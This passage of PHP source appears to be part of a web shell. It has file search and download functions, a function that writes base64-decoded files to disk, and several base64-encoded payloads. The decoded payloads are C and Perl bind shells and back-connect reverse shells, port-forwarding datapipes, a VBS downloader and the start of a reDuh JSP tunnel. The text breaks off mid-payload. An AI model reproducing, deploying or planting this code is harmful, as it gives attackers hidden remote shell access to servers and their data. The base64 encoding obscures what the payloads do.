return null;
}
function fe($l,$n)
{
$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server');
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#111111><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
return null;
}
function in($type,$name,$size,$value)
{
 $ret = "<input type=".$type." name=".$name." ";
 if($size != 0) { $ret .= "size=".$size." "; }
 $ret .= "value=\"".$value."\">";
 return $ret;
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
 $w_file=@fopen($fname,"w") or we($fname);
 if($w_file)
 {
 @fputs($w_file,base64_decode($text));
 @fclose($w_file);
 }
}
function sr($l,$t1,$t2)
 {
 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
 }
function DirFilesR($dir,$types='')
  {
    $files = Array();
    if(($handle = @opendir($dir)))
    {
      while (false !== ($file = @readdir($handle)))
      {
        if ($file != "." && $file != "..")
        {
          if(@is_dir($dir."/".$file))
            $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
          else
          {
            $pos = @strrpos($file,".");
            $ext = @substr($file,$pos,@strlen($file)-$pos);
            if($types)
            {
              if(@in_array($ext,explode(';',$types)))
                $files[] = $dir."/".$file;
            }
            else
              $files[] = $dir."/".$file;
          }
        }
      }
      @closedir($handle);
    }
    return $files;
  }
  class SearchResult
  {
    var $text;
    var $FilesToSearch;
    var $ResultFiles;
    var $FilesTotal;
    var $MatchesCount;
    var $FileMatschesCount;
    var $TimeStart;
    var $TimeTotal;
    var $titles;
    function SearchResult($dir,$text,$filter='')
    {
      $dirs = @explode(";",$dir);
      $this->FilesToSearch = Array();
      for($a=0;$a<count($dirs);$a++)
        $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
      $this->text = $text;
      $this->FilesTotal = @count($this->FilesToSearch);
      $this->TimeStart = getmicrotime();
      $this->MatchesCount = 0;
      $this->ResultFiles = Array();
      $this->FileMatchesCount = Array();
      $this->titles = Array();
    }
    function GetFilesTotal() { return $this->FilesTotal; }
    function GetTitles() { return $this->titles; }
    function GetTimeTotal() { return $this->TimeTotal; }
    function GetMatchesCount() { return $this->MatchesCount; }
    function GetFileMatchesCount() { return $this->FileMatchesCount; }
    function GetResultFiles() { return $this->ResultFiles; }
    function SearchText($phrase=0,$case=0) {
    $qq = @explode(' ',$this->text);
    $delim = '|';
      if($phrase)
        foreach($qq as $k=>$v)
          $qq[$k] = '\b'.$v.'\b';
      $words = '('.@implode($delim,$qq).')';
      $pattern = "/".$words."/";
      if(!$case)
        $pattern .= 'i';
      foreach($this->FilesToSearch as $k=>$filename)
      {
        $this->FileMatchesCount[$filename] = 0;
        $FileStrings = @file($filename) or @next;
        for($a=0;$a<@count($FileStrings);$a++)
        {
          $count = 0;
          $CurString = $FileStrings[$a];
          $CurString = @Trim($CurString);
          $CurString = @strip_tags($CurString);
          $aa = '';
          if(($count = @preg_match_all($pattern,$CurString,$aa)))
          {
            $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
            $this->ResultFiles[$filename][$a+1] = $CurString;
            $this->MatchesCount += $count;
            $this->FileMatchesCount[$filename] += $count;
          }
        }
      }
      $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
    }
  }
  function getmicrotime()
  {
    list($usec,$sec) = @explode(" ",@microtime());
    return ((float)$usec + (float)$sec);
  }
if (isset($ft) && ($ft == "download") && !empty($d) && !empty($f)) {
 if($windows){$dpt = $d.'\\'.$f;}else{$dpt = $d.'/'.$f;} 
  $text = @file_get_contents($dpt);
    @ob_clean();
    header("Content-type: application/octet-stream");
    header("Content-length: ".filesize($d.$f));
    header("Content-disposition: attachment; filename=\"".$f."\";");
    echo $text;
    die();
}
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
$vbs = "RGltIERUTkRUTg0KU2V0IERUTkRUTiA9IENyZWF0ZU9iamVjdCgiQURPREIuU3RyZWFtIikNCkRUTkRUTi5UeXBlID0gMSANCkRUTkRUTi5PcGVuDQpEVE5EVE4uV3JpdGUgQmluYXJ5R2V0VVJMKFdzY3JpcHQuQXJndW1lbnRzKDApKQ0KRFRORFROLlNhdmVUb0ZpbGUgV3NjcmlwdC5Bcmd1bWVudHMoMSksIDINCg0KRnVuY3Rpb24gQmluYXJ5R2V0VVJMKFVSTCkNCkRpbSBIdHRwDQpTZXQgSHR0cCA9IENyZWF0ZU9iamVjdCgiV2luSHR0cC5XaW5IdHRwUmVxdWVzdC41LjEiKQ0KSHR0cC5PcGVuICJHRVQiLCBVUkwsIEZhbHNlDQpIdHRwLlNlbmQNCkJpbmFyeUdldFVSTCA9IEh0dHAuUmVzcG9uc2VCb2R5IA0KRW5kIEZ1bmN0aW9uDQoNCg==";
$reduh_jsp="PCUKLyoqCiAgKiBUaGUgbmFtZT8gcmVkaXJlY3Rvci5qc3AgPT0+IHJlZGlyLmpzcCA9PT4gcmVEdWguanNwCiAgKgogICogLXJlRHVoIGFsbG93cyB1cyB0byB0dW5uZWwgVENQIHRyYWZmaWMgdG8gYW55IG1hY2hpbmU6cG9ydCBwYWlyIHRocm91Z2ggYSB3ZWJzZXJ2ZXIgd2hpY2ggaXMgb25seSBvcGVuIG9uIHBvcnQgODAuCiAgKiAtSWYgeW91IGRvbid0IGtub3cgd2h5IHRoaXMgaXMgdXNlZnVsLCB5b3UgcHJvYmFibHkgZG9uJ3QgbmVlZCBpdC4KICAqCiAgKiBMaWtlIHRoaXM6CiAgKiAKICAqICAgW0ludGVybmFsIE1hY2hpbmVdICAgICBfX19bV2Vic2VydmVyXV9fXyAgICAgICAgICAgIFtBdHRhY2tlciBNYWNoaW5lXQogICogICAgICAgICAgICAvLS0tLTwtLS08LS0tfCAgIHJlRHVoLmpzcCAgICAgfDwtLS0tW3JlRHVoQ2xpZW50XSA8LS0tW0NsaWVudCBBcHBsaWNhdGlvbl0KICAqICAgICAgICAgICAgfCBuICAgICAgICAgIHwgICBwaXBlZElucHV0ICAgIHwgODAgICAgICAgICB8ICAgICAgICAgIHwJbgkgICB8CiAgKiAgW2xpc3RlbmluZyBzZXJ2aWNlXS0tLT58ICAgcGlwZWRPdXRwdXQgICB8LS0tLT4tLS0+LS0tLyAgICAgICAgICBcLS0tLS0tXgogICogICAgICAgICAgICAgICAgICAgICAgICAgXF9fX19fX19fX19fX19fX19fLwogICoKICAqCUdsZW5uIFdpbGtpbnNvbiA6OiBTZW5zZVBvc3QKICAqCWdsZW5uQHNlbnNlcG9zdC5jb20KICAqKi8JCiU+CgoKPCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlQCBwYWdlIGltcG9ydD0iamF2YS5uZXQuKiIgJT4KPCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKiIgJT4KCjwlIQpTdHJpbmcgc19wYXRoPW51bGw7CQkvL1VzZWQgdG8gc3RvcmUgd2Vicm9vdAppbnQgREVCVUdfTEVWRUwgPSAxOwolPgoKPCUKLy9IZWxwZXIgQ2xhc3M6OiBRdWV1ZSBTdHJpbmcKY2xhc3MgUVN0cmluZ3sKCXByaXZhdGUgaW50IG51bUVsZW1lbnRzPS0xOwkKCU5vZGUgbl9mcm9udCA9IG51bGw7CglOb2RlIG5fdGFpbCA9IG51bGw7CgkKCXB1YmxpYyB2b2lkIGFkZChTdHJpbmcgX2VsZW0pewoJCU5vZGUgbmV3Tm9kZSA9IG5ldyBOb2RlKF9lbGVtKTsKCQlpZihuX2Zyb250PT1udWxsKXsKCQkJbl9mcm9udD1uZXdOb2RlOwoJCQluX3RhaWw9bmV3Tm9kZTsKCQl9CgkJZWxzZXsKCQkJbl90YWlsLnNldFByZXYobmV3Tm9kZSk7CgkJCW5fdGFpbD1uZXdOb2RlOwoJCX0KCX0KCQoJcHVibGljIFN0cmluZyBwb2xsKCl7CgkJaWYobl9mcm9udCE9bnVsbCl7CgkJCVN0cmluZyBmcm9udEVsZW1lbnQgPSBuX2Zyb250LmdldERhdGEoKTsKCQkJbl9mcm9udCA9IG5fZnJvbnQuZ2V0UHJldigpOwoJCQlyZXR1cm4gZnJvbnRFbGVtZW50OwoJCX0KCQllbHNlCgkJCXJldHVybiBudWxsOwoJfQoJCglwdWJsaWMgU3RyaW5nIHBlZWsoKXsKCQlpZihuX2Zyb250IT1udWxsKQoJCQlyZXR1cm4gbl9mcm9udC5nZXREYXRhKCk7CgkJZWxzZQoJCQlyZXR1cm4gbnVsbDsKCX0KCQoJY2xhc3MgTm9kZXsKCQlTdHJpbmcgbm9kZURhdGE9bnVsbDsKCQlOb2RlIHByZXZOb2RlPW51bGw7CgkJCgkJTm9kZShTdHJpbmcgX2RhdGEpewoJCQlub2RlRGF0YSA9IF9kYXRhOwoJCX0KCQkKCQlwdWJsaWMgU3RyaW5nIGdldERhdGEoKXsKCQkJcmV0dXJuIG5v